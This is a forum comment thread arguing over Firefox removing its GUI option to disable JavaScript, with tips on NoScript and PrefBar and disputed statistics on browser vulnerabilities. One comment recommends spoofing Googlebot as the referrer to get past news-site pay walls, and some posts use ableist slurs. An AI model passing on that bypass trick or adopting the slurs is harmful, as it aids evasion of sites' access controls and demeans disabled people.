Re:Simple != Dumb

[Anonymous Coward]

The majority of Americans don't vote in primaries either. Should we remove primaries from the election process to simplify it?

Re:Simple != Dumb

[Anonymous Coward]

That's a misquote you threw in there and it's ironic in this context. What Einstein actually said was "It can scarcely be denied that the supreme goal of all theory is to make the irreducible basic elements as simple and as few as possible without having to surrender the adequate representation of a single datum of experience."

Re:Simple != Dumb

[Anonymous Coward]

Everything should be made as simple as possible but no simpler.

My retarded cousin Jimmy is as simple as possible; all he does is drool. Firefox is almost there (remember when they fought for years against returning the new tab button to the tab bar? It was apparently simpler for users to look in the documentation to find the correct key sequence to create a new tab or double-click the undiscoverable and variable empty space. My point being that since that button is there now mozilla finally realized it was wrong, but it took years.

Re:Simple != Dumb

[DMUTPeregrine]

AFAICT, most of the people who disable JS do so via NoScript (or a similar addon for other browsers) so they can allow it on a per-site basis as needed.

Re:Simple != Dumb

[Anonymous Coward]

I never used to disable javascript and then realized that some of the most annoying things about some websites that I visit use javascript, and shutting it off solved all my problems (I'd mention them, but I don't want to publicly post them here because I don't want the secret to overcoming their tricks to get out). However, not all websites are like that, so the menu option was nice. Noscript might be fine, but why the hell shouldn't I be able to do it without an extension when it's been standard all this time?

Most importantly: is it really so fricking problematic for the Firefox devs to leave it in the menu? Let's say that only .0001 percent of people use the option. Does it matter when it's behind menu options anyway? It's not like it's taking up some huge amount of UI space right at the top of the browser window or something. Were there really all these people bitching about "damn, my browser is so unusable because of this huge button that gets in the way all the time and I don't even know what 'disable JS' means!"

The problem with this decision is threefold: it (1) works under the assumption that the devs know better than the user, and (2) does so by preventing the user from heightening their level of security, and (3) is a problem of the devs' own imagining--no one's complained of this option except them. You should always make it easier for the user to make their systems more secure, not harder, and do it in a way that assumes they know better than you if they are looking for it. Also, if you ignore these principles, you sure as hell should do it when people are actually having problems with it.

This is the road that MS has gone down repeatedly and they've fucked it up every time. It's a road to ill-will and problems.

This is the first time I've seriously thought about leaving Firefox for another default browser. It's so stupid I don't know where to start.

Re:Simple != Dumb

[Arker]

"Much of the modern web would be useless without Javascript."

The same part is useless with it as well.

Re:Simple != Dumb

[hobarrera]

Also, I'm pretty sure that most users that disable JS, and are willing to deal with a lack of JS on most sites, can easily find about the same option in about:config (or noscript).

Re:Simple != Dumb

[Darinbob]

What about the menu option that someone does use, why do those get disabled? Just because you're not using a menu option does not mean it should be disabled for everyon. Do you really think that no one used this javascript disabler?

Re:Simple != Dumb

[Anonymous Coward]

I do this all the time and want a button on my toolbar to do it. I also disable CSS often.

Re:Simple != Dumb

[Anonymous Coward]

I dunno, the 99.9% sounds right to me. I don't know anyone who turns off javascript.

Re:Simple != Dumb

[gottabeme]

Mozilla Marketplace? Who asked for that? I just want my stinking web browser! Geesh, I almost want to dig up Phoenix 0.6 and run it in WINE.

Re:Simple != Dumb

[Anonymous Coward]

Everything should be made as simple as necessary, not as simple as possible.

Re:Simple != Dumb

[Anonymous Coward]

There's these pages that show an answer to your query fine for a bit, and then put a big fat "you must register now" over it with javascript.
Disable javascript, reload. "No I don't need to register now"
Same with pages that prevent me from right-clicking to "Save image as" (without, in firefox, having to go to the media menu).

Being able to disable Javascript is thoroughly useful to me.

Re:Simple != Dumb

[Waccoon]

More like simplifying. Everything should be made as simple as possible but no simpler.

This is not only a very trendy way of thinking, but also very American. Ask a Japanese person if they want their web pages simplified and minimalized so they look like American web sites. Chances are they will not be happy.

I cannot remember the last time I disabled Javascript and I'm pretty confident that somewhere north of 99.9% of users never disable it either.

So naturally, people must be forced not to have the option. Especially if that option is completely non-intrusive and requires virtually not maintenance.

Sorry, but to me this always just sounds like marketing and egotism. Once again, the people in charge are responding to complaints that have never been made... for our own good, of course.

I view this as a good thing

[Anonymous Coward]

Websites are composed of three things: html, css, and javascript.

It is impossible to make anything that is not static without these three things, and it is clear that people don't want static pages. I'm all for security to block malicious scripts from running, but the expectation that web should be dynamic is strongly a majority opinion at this point, and really should be the default.

Things should *just* work. The internet included.

Re:I view this as a good thing

[Phreakiture]

I would be with you 100% if I felt that the Internet at large could be trusted. It can not.

Re:I view this as a good thing

[Anonymous Coward]

But why do most sites believe allowing javascript from 10+ other domains must be necessary to actually view their site properly?

Re:I view this as a good thing

[JDG1980]

I would be with you 100% if I felt that the Internet at large could be trusted. It can not.

The question isn't whether the Internet can be trusted (we know it can't). The question is whether your JavaScript interpreter can be trusted to sandbox properly. Since it was always understood that it would be executing untrusted remote code, JavaScript was actually designed with pretty decent security from the ground up, and not many exploits these days use it. These days, when malware writers want to steal people's financial information or add them to a botnet, they use exploits for Oracle Java or Adobe Flash. Maybe Adobe Reader as well. But JavaScript is actually pretty far down the list of serious Web security risks.

Re:I view this as a good thing

[Anonymous Coward]

Pay model mostly. Your site can either:
1) Sell products
2) Display ads
3) Hide behind a paywall

2 is the easiest, and, the way it is implemented requires external javascript.

Re:I view this as a good thing

[JohnFen]

The question is whether your JavaScript interpreter can be trusted to sandbox properly.

Sandboxing doesn't stop spying and tracking, it doesn't stop stupidity like disabling right-click menus, or any of a million other problems. Turning Javascript off does. If a site requires Javascript to function, the site is broken anyway.

Personally, so long as NoScript works as it always has, this is a nonissue for me. But I will not use a browser that just makes it impossible to disable javascript.

Re:I view this as a good thing

[Anonymous Coward]

If the site requires javascript it is not broken; it is more complex. There may be situations where javascript is not required, but I'd love to see how you intend to establish a p2p connection between browsers without the use of javascript.

Re:I view this as a good thing

[Phreakiture]

I disagree that requiring JS to function makes a site broken. There are a number of useful things that just can't be done in HTML or in server-side scripting without it looking like ass and working like shit. Some of the problem, too, is shortfalls in HTML itself. I've always been annoyed that you need to use JS to cause the cursor to default to a given field in a form (and maybe that's been fixed in HTML5 -- I haven't looked for it yet).

However, you did land on the primary thing I was thinking of a couple of posts ago -- that, as you so perfectly put it, "Sandboxing doesn't stop spying and tracking, it doesn't stop stupidity like disabling right-click menus, or any of a million other problems." Like you, I am not going to stand by and watch while they hijack my browser's functionality and stick their noses where they don't belong. Trackers are specifically designed to subvert the sandboxing by using a third-party location for the relevant scripts and data.

Re:Web sites that require java script are broken

[jockm]

Well wait, what do you mean by "web site"? If you just mean a page that you visit on the net to primarily read text (possibly with images) then I agree with you. If you are talking about a webapp (which also qualifies under the term "web site"), then you are wrong. Google Docs, amongst so many others, simply couldn't operate without JavaScript enabled

Idiots

[Giant Electronic Bra]

"Today there are a lot of programmers of the opinion that if the user has JavaScript off then its their own fault and consuming the page without JavaScript is as silly as trying to consume it without HTML."

Such people should be fired out of hand. I mean sure, if you're creating some specific UI for a web based application then 'no fallback' is acceptable, you just can't get anything like the same functionality. I sell software which falls into this category, but it would be utterly useless without JS. OTOH the idiots who can't put up a plain old web site without insisting we all have to enable JS on it so they can make a cute rollover on a link or something stupid are just retarded and should resign.

Do you know what this is?

[Anonymous Coward]

This is reason 27 why we shouldn't be using the web browser as a general application GUI. This whole movement to do everything in the browser is leading to stupid and insecure "applications".

I turn JS off on occasion..

[Dputiger]

To get around really annoying types of ads that mandate that you sign up / sign in for a service. If I wanted to sign up for your website, I'd do it. Attempting to force me to do so for the sake of gathering better target data isn't interesting to me. Trying to force me to do so with giant ads, even less so.

There will be other ways to temporarily disable JS, so I'm not too worried about FF removing the chekc box. But it's annoying.

Re:I turn JS off on occasion..

[gottabeme]

AdBlock Plus is your friend.

Re:Web sites that require java script are broken

[Anonymous Coward]

Thank you for your sanity.

Please enjoy your drive-by infections

[Anonymous Coward]

Ad networks are compromised all the time. Ads are the primary users of javascript. Coincidence?

Who gives a shit if websites break when java or javascript are turned off. I turn that shit off as much as possible, I use NoScript becuase I despise the fact that no matter how careful I am, no matter how up to date I run my antivirus, my browser, and my JRE, I can STILL get a goddamned drive by infection if I allow javascript to run unchecked.

No, Blowzilla, the problem is NOT with users clicking things they have no idea about, the problem here is JAVASCRIPT. Its just another ActiveX, its just another virus vector. It needs to be eliminated from use entirely. It SHOULD ask permission to run by default. That way websites can at least put in a message "To see video you need to say Yes to this." "To read this article you need to say yes to this." and the ad networks can start working around things by going BACK to gifs and static ads and links instead of crap that blares through my speakers about shit I do not care about (seriously, is everyone coming to Slashdot a big corporate IT manager in charge of buying new server racks? IBM and others seem to think so) while using fast-moving images (hey just like the BLINK tag but with pictures!) to try and distract me from...the CONTENT.

Seriously, this is a retarded move, thank you Mozilla for INCREASING the number of infected machines on the web. I am sure the Russians and other blackhat collectives thank you.

Morons.

Re:Please enjoy your drive-by infections

[liamevo]

The option still exists, the gui for it has been removed, this changes nothing for the 1% who do turn off javascript, you just goto about:config, like every other advanced option.

If you think ads are the primary users of javascript on the web, then you need to step ahead a decade or so.

When, oh when, was the last time you found an ad that auto played music on a website? Ghostery/adblock/many other extensions let you block ads, and then you'll definitely never see or hear one.

IMO, comparing javascript to activex is simply hyperbole. You may, extremely rarely, come across some malicious code, but all the JS can really do is get the browser to load something like a pdf, a java applet or another file which loads a plugin. The javascript is not the vulnerability, it's the unpatched software on your machine.

HTML

[Anonymous Coward]

Am I the only person who still tries to write pure HTML websites where possible?

I'm not a professional web designer but I do commission websites for small businesses. Where it warrants i'll use a CMS, php and javascript. There are still a lot of small business sites that just don't need any of it, so I don't use it.

Really, they should make it easier to do

[doom]

Personally, what *I've* always wanted is a way to turn JS on and off that's more easily accessible. I often want it off, to try to get more consistent behavior (whizzy JS crap is often completely non-standard and confusing), but every now and then I need to flip it on to see if the apparent breakage is because some lazy programmer didn't feel like thinking about how things degrade.

But Mozilla seems determined to alienate users like myself, so this current bonehead move is hardly a surprise.

And yes, many "modern" web sites these days seem to require javascript-- thanks to google who made it ultra-cool and groovy.

Re:Really, they should make it easier to do

[crazy_monkey]

I've been using this for awhile now, works as advertised:
JS Switch

Re:Really, they should make it easier to do

[Somebody Is Using My]

You can try PrefBar which adds a toolbar with customizable buttons that can be used to toggle things like Java, Javascript, Flash, etc. I used it back in the day when I was still on dial-up; I'd load pages with all the bling disabled first and only if the content looked interesting would I enable (and download) the various imagesand applets. With the advent of broadband and Noscript, my need for PrefBar lessened but if you want a quicker way to activate/deactivate Javascript then PrefBar will probably work for you.

Heh. I just reinstalled the extension and it still remembers all my old settings, which only goes to show you how ancient my Mozilla profile must be ;-)

Re:Really, they should make it easier to do

[barjam]

I am a developer. Why would I waste my time on the the tiny fraction of people who turn off javascript? Easy answer I wouldn't. It isn't about being lazy at all it is more along the lines of why waste my time and limit page capabilities to satisfy a nonexistent demographic of tinfoil hat wearing basement dwellers who turn of javascript?

Re:Really, they should make it easier to do

[seeker_1us]

PrefBar will let you turn JS on and off in a way that is very easily accessible.

Re:Really, they should make it easier to do

[doom]

I am a developer. Why would I waste my time on the the tiny fraction of people who turn off javascript?

Because arbitrarily ignoring even a small percentage of the target audience is unprofessional when it's not really that hard to accommodate them.

... to satisfy a nonexistent demographic of tinfoil hat wearing basement dwellers who turn of javascript?

Real geeks wear titanium hats.
And they don't try to win arguments by making up statistics.

Re:Really, they should make it easier to do

[MrNemesis]

One of the things I've loved about Opera is the per-domain preferences. You can set things like JS and animated GIFs and plugins to be off by default, and then enable them for sites you trust (or via versa, leave them on and just disable them for sites you don't like). Less fine-grained than NoScript but more accessible and less fiddly IMHO.

Sadly that's something that seems to be going away with Opera's shift to WebKit so I'm hoping someone will think about adding the feature to firefox.

Re:Really, they should make it easier to do

[henni16]

If you're using Firefox or Seamonkey, you might like the "prefbar" addon.
It adds a freely customizable preferences toolbar that lets you add stuff like checkboxes and buttons for enabling/disabling Javascript, Java, Flash, Cookies, Popups, Images, Referrer sending/switching(*), website colors, navigation buttons ("back"/"forward" is handy for popups without navigation). clearing cookies, clearing cache, switching proxy servers .. you name it.
You can even alter existing or program your own buttons if what you want isn't already available for selection.

(*)
It pays to add Googlebot as a referrer because lots of (news) websites with registration/pay walls (e.g NYTimes) or sites that force you to enable Javascript will happily produce the content if you claim to be Google.

Re:Really, they should make it easier to do

[hedwards]

I recommend Requestpolicy for the actual turning on and off of javascript. I run it alongside NoScript that I use for it's other security features like the anti-clickjacking feature.

Re:Really, they should make it easier to do

[wvmarle]

As another replied already, I must concur: PrefBar is great indeed. It allows you to create a button for every single option available in the about:config options, on top of the many already built-in buttons. Extremely customisable.

Re:Really, they should make it easier to do

[Anonymous Coward]

You want Opera's F12 menu, after which you're one click (or keystroke) away from toggling javascript on or off.

Re:Really, they should make it easier to do

[Anonymous Coward]

I am a developer. Why would I waste my time on the the tiny fraction of people who turn off javascript? Easy answer I wouldn't. It isn't about being lazy at all it is more along the lines of why waste my time and limit page capabilities to satisfy a nonexistent demographic of tinfoil hat wearing basement dwellers who turn of javascript?

Because, frankly, you're a dangerous fool who is not to be trusted.

You are the reason why my primary browser for unknown sites is an unpopular one, in which I default JavaScript and plugins to off.

Thanks for the headsup

[norite]

I'll be sure to skip this 'update'

Noscript is useless

[edxwelch]

This is how viewing the web with noscript works out in the real world:
1) webpage does display properly
-> make exception to allow scripts on this site
2) webpage still does display properly, because it needs scripts from a second domain
-> make exception to allow scripts on the second domain
3) webpage still does display properly, because the scripts from the second domain load scripts from a third domain
-> make exception to allow scripts from the third domain ....
49) ... finally the web page loads properly ... now repeat all 49 steps for every web site that you go to

Re:Noscript is useless

[doom]

Noscript has an "allow all scripts on this page" feature you can use when you're desperate to use a heavily web 2.0 (I always think "web patooey", but maybe that's just me).

Using a Noscript-enabled browser is useful for letting you know what a webpage is actually doing. If there's dozens of required dependencies I'll often just go somewhere else.

Re:Noscript is useless

[echolocate]

And I for one and happy to do this each time, so I know what I'm loading and what I'm preventing.
- I know not everyone is like this
- I'm glad that I can

Re:Noscript is useless

[aliquis]

You obviously mean doesn't.

But yeah.

For instance try with www.marketwatch.com charts and comment fields.

Re:Noscript is useless

[jetkust]

Step 49 took you back to step 1. I think you're doing it wrong.

Re:Noscript is useless

[Anonymous Coward]

You're doing it wrong. Here's how it's supposed to go:

1) webpage does not display properly
-> make exception to allow scripts from the domain you visited
2) webpage does not display properly
-> make exception to allow scripts from the "static" or "cdn" domain-that-should-have-been-a-subdomain. if this doesn't exist, ignore this step entirely
3) webpage does not display properly
-> close the tab and never return. do not leave a note why you're never coming back, just don't come back. actions speak louder than words anyway.

If at any point in the above process the page displays correctly, you win. If you get to step 3 and realize that this site isn't worth bothering with, you still win.

And just to refute something in the summary: I don't consume pages. I consume food. I view (or occasionally create) pages. Bullshit corporate bullshit is bullshit.

tl;dr - A user agent is an agent that acts in behalf of the user, and content creators need to get that through their thick, empty skulls.

Re:Noscript is useless

[Znork]

Eh, no. Steps 1-2 happen, step 3 is when you note you've suddenly got 48 guys from seedy domains that sound vaguely like STD's slobbering all over over your keyboard and you slowly back away, disabling javascript from the first two again and hope you didn't catch something.

No site requires javascript from 48 other sites to show you something you want to see. That code is there to show someone else something about you, monetize you, violate your privacy, etc, and once you're past half a dozen sites it's far beyond too creepy to be worth it.

Re:Noscript is useless

[edxwelch]

> Noscript has an "allow all scripts on this page" feature you can use when you're desperate to use a heavily web 2.0 (I always think "web patooey", but maybe that's just me).
Doesn't work for the case I mentioned: scripts loading scripts from a different domain

> Using a Noscript-enabled browser is useful for letting you know what a webpage is actually doing.

Why do I want to know that? I actually have work to do.

>If there's dozens of required dependencies I'll often just go somewhere else.
And who loses? You do. Because presumably you need the information on that website, while it makes no difference to anyone if one person less visits their web page.

Re:Noscript is useless

[Anonymous Coward]

You missed the break at step number 3 where I decide this website is no longer worth it and close the tab.

Step number 3 - before the adverts or the analytics are allowed - even if they do see my short visit to the site, it is very clearly a bounce.

I lose seeing yet another shallow propaganda article - but they lose yet another view that pays for their site to continue. I think they lose more than I do by using javascript so heavily.

Re:Noscript is useless

[BitZtream]

I wouldn't be too proud of it.

Most of us can do it, but we'd rather use that time to do something useful other than wasn't 30 seconds deciding what scripts to allow from a site we're going to spend 10 looking at.

You should go get laid or something. Find a purpose to your life, don't waste it away being smug that you prevented some javascript from running.

Re:Noscript is useless

[Anonymous Coward]

I guess your 48 first times "does display properly" should be "doesn't display properly"?

Anyway, as a NoScript user, I got pretty good in guessing what I need to allow (the content) and what I shouldn't allow (anything with "ad", "cash", "metric" or "analysic" in its name).

Most of these permissions or denials I've made permanent. If I need to allow a new site to work, I certainly don't put all the crap on: I add as much as possible to the denial list and as little as possible to the allow list.

Your fallacy is that you expect that _all_ users are mindless zombies.

Re:Noscript is useless

[X0563511]

For some of us, security is more important than usability. doom (14564) seems to be one of these people, as am I. From your comments, you don't seem to be one.

Re:Noscript is useless

[hedwards]

I use NoScript for the other features like it's anti-clickjacking features, I use requestpolicy for the purpose of actually controlling which sites are permitted to run javascripts on my computer.

If they don't back down on this I will be moving to another browser, the only problem is that Fx has been the least bad browser, now I have to move to the second least bad browser, and I'm not really sure which one that is, I guess probably Opera.

Re:Noscript is useless

[gottabeme]

This is how reading your comment works out in the real world:

1) "not" doesn't display properly
-> make exception to allow reading of this comment
2) "not" still doesn't display properly, because the first item was pasted into the second
-> make exception to allow reading of comments with the same error for the second time
3) "not" still doesn't display properly, because the second item was pasted into the third item
-> make exception to allow reading of comments with the same error for the third time time
49) ... finally the line displays properly ... now it doesn't need the word "not"

Re:Noscript is useless

[gottabeme]

Whoosh. It's not about being smug. It's about not sucking up my CPU and RAM and valuable time running inane, pointless, anti-me code and making my whole computer slower, and even crashing the browser (because we have to suffer regressions, and Ff22 crashes where Ff21 didn't).

Re:Noscript is useless

[Anonymous Coward]

1) Verify the page is reasonably trustable (you're browsing, say, slashdot, not www.hotillegalsoftware4unow.com). Right-click, noscript, allow all scripts.
2) Done

Most people use NoScript to keep sites that are purposely exploiting javascript in your browser to malware up your computer from doing so. They don't care about the privacy issues. Well, when you go to one of those crap sites, it'll be obvious as heck that the only thing to click on is back, and it will remain script-blocked.

For me, after about 30 minutes of browsing, I don't have to even enable any more scripts.

Graceful degradation

[Valdrax]

Any web developer worth his pay should already be coding with graceful degradation in mind. CSS and Javascript should fail gracefully on less capable (or deliberately secured) browsers. Failure to do so may leave people with very minimal browsers, like the deafblind, unable to use a site. It also shuts out people with older browsers, and the days of "This site best viewed in Internet Explorer 6 at a resolution of 1440 x 800" are best left buried and gone.

Re:Graceful degradation

[Anonymous Coward]

Any web developer worth his pay should already be coding with graceful degradation in mind.

Unfortunately, most web developers aren't worth their pay. Including the ones that just do it as a hobby.

Re:Graceful degradation

[Anonymous Coward]

Reminds me of what my Grandpa says about a lot of things, "Cheap becomes expensive; free becomes exorbitant."

Re:Graceful degradation

[Anonymous Coward]

Any web developer worth his pay should already be coding with graceful degradation in mind.

There are web developers worth their pay? Where? I have been in this industry a long long time and I haven't met any. They are all about the latest glam and glitter. 100% of the ones I met agree that IE/Firefox/Safari are the only browsers on earth and that everyone has JS and Flash enabled.

Piffle. "Web developers" are either programmers who couldn't make the grade or graphic designers who sucked, at least in my experience dealing with a lot of them.

Re:Graceful degradation

[Anonymous Coward]

Some of us web developers develop web apps that require javascript. There is no point in making the user interface degrade usefully, if the core functionality of the webapp can't work. My webapp requires Canvas, so I don't care about users of really old browsers, they can't use the webapp, so I don't care that they can't use the interface. A blind person has no use for my webapp. It's a data drawing and visualization app. You must be able to see to use it.

about:config

[Anonymous Coward]

No need to sweat, people. I'm guessing, they are removing the checkbox from the UI, but the option will still be available for advanced users under about:config.

Advanced options for advanced users

[Anonymous Coward]

Why is this a thing?
Why must we dumb down everything?

I will never understand why putting advanced-user options in places where only advanced users will go counts as "dumbing down." You're a genius hacker who knows exactly what you want, right? Why do you need a preference GUI to expose each and every little thing? What do you need a preference GUI for at all?

"Oh, noes, I have to edit a config file/add a command flag/read the Help file before I can use this feature! Why am I being handcuffed and forced into this walled garden!"

Re:Advanced options for advanced users

[h4rr4r]

The next step is to kill it off since no one was using it, because they hid it.

All your bandwidth and CPU cycles are us.

[Anonymous Coward]

"Today there are a lot of programmers of the opinion that if the user has JavaScript off then its their own fault and consuming the page without JavaScript is as silly as trying to consume it without HTML."

Tell some of these lazy, arrogant assholes to send me a cut of their paycheck for being forced to waste MY resources and PRECIOUS TIME OUT OF MY LIFE waiting for their mercenary, invasive twaddle to execute in my browser.

Re:All your bandwidth and CPU cycles are us.

[liamevo]

You thinking of web sites or web apps? There should be no expectation for a web app to run smoothly with javascript disabled.

Re:Web sites that require java script are broken

[Anonymous Coward]

Web sites that require JS/Flash/Unity/etc are "Web Applications" ...the word "site" doesn't even seem to apply, seeing as often the different resources will be hosted in different places, the only "site" in cyberspace where they come together is actually on the user's machine, so it's not a place where you can go (like the word "site" implies) but a synergistic experience assembled by your browser (and any external plugins such as Flash or Unity) just for you. Do you consider CD players that don't have a tape deck to be "broken" as well?

No, it doesn't

[dsinc]

It only eliminates the GUI option for disabling javascript. The javascript.enabled flag is still there, in about:config

Hasn't this ship sailed?

[Alternate Interior]

I'm a web developer and have taken JS & CSS for common for years and years now. Spent about 6y working at a small local web design shop and it just wasn't feasible to double contract amounts to make sites work without JS.

That said, there's no reason to require JS if it can be done without. Lots of page book-keeping, like menus, active page indicators, etc, can be done with CSS. Some stuff, like Amazon's polygonal focus on subnav can degrade nicely. Fantastic. But I'm not going to build an Ajax-y interface AND a static HTML interface (for free) to coddle people with nothing more than a distrust of JavaScript.

Re:Hasn't this ship sailed?

[Anonymous Coward]

Exactly, they don't understand that not expecting users to use Javascript can double the work when implementing fallbacks, along with disabling useful features. No, you can't implement most of the great features of ajax using CSS or HTML, people who believe that are sorely mistaken, some features can NEVER be used without Javascript (Or something more insecure such as Java or Flash).

The industry is pushing for Javascript in everything, no longer progressive enhancement. It cuts development times and allows very useful features via ajax.

Re:Hasn't this ship sailed?

[Anonymous Coward]

Or, you know, you could implement everything as a properly structured document (which is what HTML is for) and use CSS and Javascript as operators on that document, which means that the fallback is built-in and requires no extra work.

Oh, but it requires competence and skill. So there's that. You might wanna brush up on those things.

Re:Hasn't this ship sailed?

[Jah-Wren Ryel]

But I'm not going to build an Ajax-y interface AND a static HTML interface (for free) to coddle people with nothing more than a distrust of JavaScript.

Something like 95% of the browser vulnerabilities over the last decade have had a dependency on javascript and that trend shows no sign of stopping. Seems like what you are actually doing is coddling the people with nothing more than a naive trust of javascript.

Re:Hasn't this ship sailed?

[Algae_94]

I think they should add another option to partially enable javascript. By that I mean enable javascript for the current domain, but disable it for all other domains.

Re:Hasn't this ship sailed?

[Culture20]

I'm a web developer and have taken JS & CSS for common for years and years now.

I've been a web user since 1994 when my job title was webmaster, and I've never assumed JS & CSS was so ubiquitous as to be necessary.

Re:Hasn't this ship sailed?

[Anonymous Coward]

Something like 86% of Slashdot posts involve statistics that are yanked right out of their bung.

http://www.microsoft.com/security/sir/default.aspx

If MS can be believed (large grain of salt) the breakdown is approximately:

javascript 35%
documents (primarily pdf) 28%
java 20%
os 15%

Re:Hasn't this ship sailed?

[interkin3tic]

Just to be clear, it's not that I distrust javascript. It's that I distrust YOU.

Re:Hasn't this ship sailed?

[JohnFen]

But I'm not going to build an Ajax-y interface AND a static HTML interface (for free) to coddle people with nothing more than a distrust of JavaScript.

It's not about coddling. It's about providing a website that is usable to the widest number of people. What about people with solid objections, not just a distrust, of Javascript?

But if you don't want to make a robust web site, that's fine. I'll just not use web sites you design, and we'll both stay happy.

Re:Hasn't this ship sailed?

[Anonymous Coward]

How about ADA compliance? You know thats incredibly difficult to achieve with javascript (more costly than just doing a static and ajax-y interface.) And you shouldn't be doubling your cost, you use the same content for both just different presentation layers. Ie it's maybe 1/4th extra work (you use the same models and controllers just extra views).

Re:Hasn't this ship sailed?

[betterprimate]

I'm a web developer and have taken JS & CSS for common for years and years now. Spent about 6y working at a small local web design shop and it just wasn't feasible to double contract amounts to make sites work without JS.

Sounds like a management problem, not yours. It is feasible to double contract to create JS-disabled fallbacks. Your company needs to address this in their proposals under accessibility.

Re:Hasn't this ship sailed?

[Anonymous Coward]

Isn't that the whole point of "progressive enhancement" and "graceful degradation"? If you're following best practices and using semantic markup, it really isn't all that difficult to make a site work without JS. Yes, you may not be able to do the dynamic content (data islands, AJAX, etc), but you can still offer the core content that links to the appropriate pages (or offers an alternative or degraded experience).

As mentioned elsewhere, none of this is rocket science.

Re:Hasn't this ship sailed?

[imsabbel]

In reality, the 0.2% of people you drive away that way are typically cyper-hippies that block ads anyway and do not contribute in any meaningfull way to the success of the website, so good riddance.

Re:Hasn't this ship sailed?

[Anonymous Coward]

Ah, yes, but you see, your customers rely on *our* ability (the end user) to read all the content they have built up based on your designs. Your customers may wise up to the point where they tell *you* they don't want to see JS break their website badly enough to drive their end-users away.

If you do a website for Brand X that focuses on JS, and Brand Y hires a developer that does not, and I'm googling for Product Z that both companies carry.... Which company will I end up doing business with? The one that gives me the answer without JS.

Which company will see sales drop because the web developer didn't stay current with trends that semi-smart consumers follow (like keeping JS off unless absolutely required?)

Does that mean you've got a problem and are cutting your own throat? Time will tell - I just hope you're still in business when it does.

Re:Hasn't this ship sailed?

[Anonymous Coward]

And you call yourself a web developer?

JavaScript is not "web" or "www".

Captcha: develop

Re:Hasn't this ship sailed?

[Jah-Wren Ryel]

Those are not browser vulnerabilities, those are system-wide vulnerabilities.

Furthermore those are where the vulnerability exists but it doesnt anything about whether or not javascript is part of the attack vector - as in if you blocked javascript the exploit couldn't get to the vulnerable part of the system.

For example if there was a vulnerability in the cookie handling part of the browser that let it over-write arbitrary files but it required javascript to generate the correctly named cookies in order to exploit that vulnerability. Not technically a bug in javascript but blocking javascript prevents anyone from using that attack.

Re:Hasn't this ship sailed?

[Anonymous Coward]

Swing and a miss...

If you click on a PDF in your browser and the result is a compromised system it is a browser vulnerability.

Similarly if you invoke a java applet; a security breach in Java is a browser vulnerability if java is enabled by default in the browser.

Neither of these common vectors involve javascript in any way. Block javascript and you might not be able to reach the part of the site that includes the exploit but making a % of the internet unreachable will obviously also "protect" you from a similar % of the exploits.

If you want to look at system wide vulnerabilities that is an entirely different question. Current data is a bit difficult to find but as of 2011 the big winner by a huge margin was MS RPC services.

http://www.symantec.com/threatreport/topic.jsp?id=vulnerability_trends&aid=total_number_of_vulnerabilities

No one anywhere appears to have anything published that supports a figure of 95% over the last decade.

Re:Hasn't this ship sailed?

[Jah-Wren Ryel]

If you click on a PDF in your browser and the result is a compromised system it is a browser vulnerability.

Not sure if/when internet explorer stopped using an adobe plugin to handle PDFs - best I can tell ie10 still required a plugin. Java is definitely a plugin in all browsers, I haven't had it installed on my systems for years.

(A) plugin vulnerabilities are not browser vulnerabilities, being separate from the browser is the entire point of plugins - both java programs and pdf are functional without a browser
(B) firefox's (and chrome's) native pdf viewers require javascript to work, if ie has a native viewer I expect it too requires javascript

Block javascript and you might not be able to reach the part of the site that includes the exploit but making a % of the internet unreachable will obviously also "protect" you from a similar % of the exploits.

That is misleading at best - blocking an arbitrary % of the web does not translate into blocking an equivalent number of exploits, they aren't evenly distributed. Similarly when practically all browser vulnerabilities require javascript to be exploitable then disabling javascript is a very narrow change with a very broad effect.

Re:Hasn't this ship sailed?

[Darinbob]

It's ok if you're fine with people bypassing your web site.

True, more and more web sites require javascript just to do basic things that HTML can already do. But that just means I'll be visiting fewer and fewer web sites.

Re:Hasn't this ship sailed?

[Darinbob]

And still there are so many web site that utterly fail to work merely by disabling third party scripts.

Re:Hasn't this ship sailed?

[Anonymous Coward]

As long as you've decided to ignore all the other most common attack vectors by pretending they don't count.

Chromeframe is a plugin for ie. Are you suggesting that if an IE user is exploited directly through it's own javascript interpreter it counts as a browser exploit, but if the same exploit happens through the chromeframe interpreter it isn't a browser exploit?

If the default install of a piece of software has security holes then the software has holes. The browser (every browser) has holes. Of the holes that are commonly exploited Javascript is responsible for about one third. That is what the research says. You made up a number and got called on it. Totally reasonable to assume that your 95% figure is an estimate based on your personal experience.

It is all too easy to get caught in the echo chamber that is slashdot.

Re:Hasn't this ship sailed?

[Jah-Wren Ryel]

Chromeframe is a plugin for ie. Are you suggesting that if an IE user is exploited directly through it's own javascript interpreter it counts as a browser exploit, but if the same exploit happens through the chromeframe interpreter it isn't a browser exploit?

It is indeed a browser exploit ... with CHROME. If you have to resort to such obviously specious examples to support your position, you've already admitted to being wrong.

Re:Hasn't this ship sailed?

[Anonymous Coward]

That's great, just stop bitching when shit don't work without javascript.

turning javascript off is important

[Anonymous Coward]

It is important for any developer wanting to see how a page reacts when javascript is disabled...

Re:turning javascript off is important

[liamevo]

So you the web dev toolbar for much easier access to that option.

Privacy and security issues

[Anonymous Coward]

I'm so afraid of being violated from behind in the web that I browse it with JS, CSS and images disabled!

It's the browser makers and the web developers fault that I can only browse 0,01% of the web!!!

PLEASE FIX!

hands in your pockets

[epine]

Glenn Gould used to take a lot of flack for refusing to shake people's hands even though we all know that you can't go through life refusing to shake hands. Perhaps he had a good reason?

Even if you're less of a sociopathic hypochondriac than Glenn Gould, there's still an issue concerning how automatically one reaches out. I'm a little more hesitant to offer my mitt to a vagrant person who's just popped out a discrete alleyway with flecks of an old newspaper stuck to their shoe. Colour me paranoid. And yet the default on the web is to arrive on every web page in full embrace, even the typosquatters with old newspaper stuck to their shoes.

On my FF I have things pretty locked down. If on first impression I haven't teleported into the worst bathroom in all of Scotland, I'm pretty quick to enable first party cookies. Tracking cookies from the social media paparazzi, not so quickly.

When I get a site coded to misbehave at the first whiff of the end user exercising prudence or discretion, I switch the URL into Chrome where I have practically nothing locked down and visit nowhere important and where the social media paparazzi will observe my click trail as an infrequent user engaged who exclusively visits the wrong side of town, but never never pulls his hands out of his pockets to engage the temptations.

What's in your wallet?

Re:hands in your pockets

[Pfhorrest]

I'm a little more hesitant to offer my mitt to a vagrant person who's just popped out a discrete alleyway...

Yeah, I only shake hands with vagrants who live in nice continuous alleyways. ;)

Re:hands in your pockets

[MrL0G1C]

I'm a little more hesitant to offer my mitt to a vagrant person

I work in the city and the suits are no better, most of them: turn tap on, let water run over fingertips for 1 second, flick fingers, walk out.

I wouldn't want to shake their hands either.

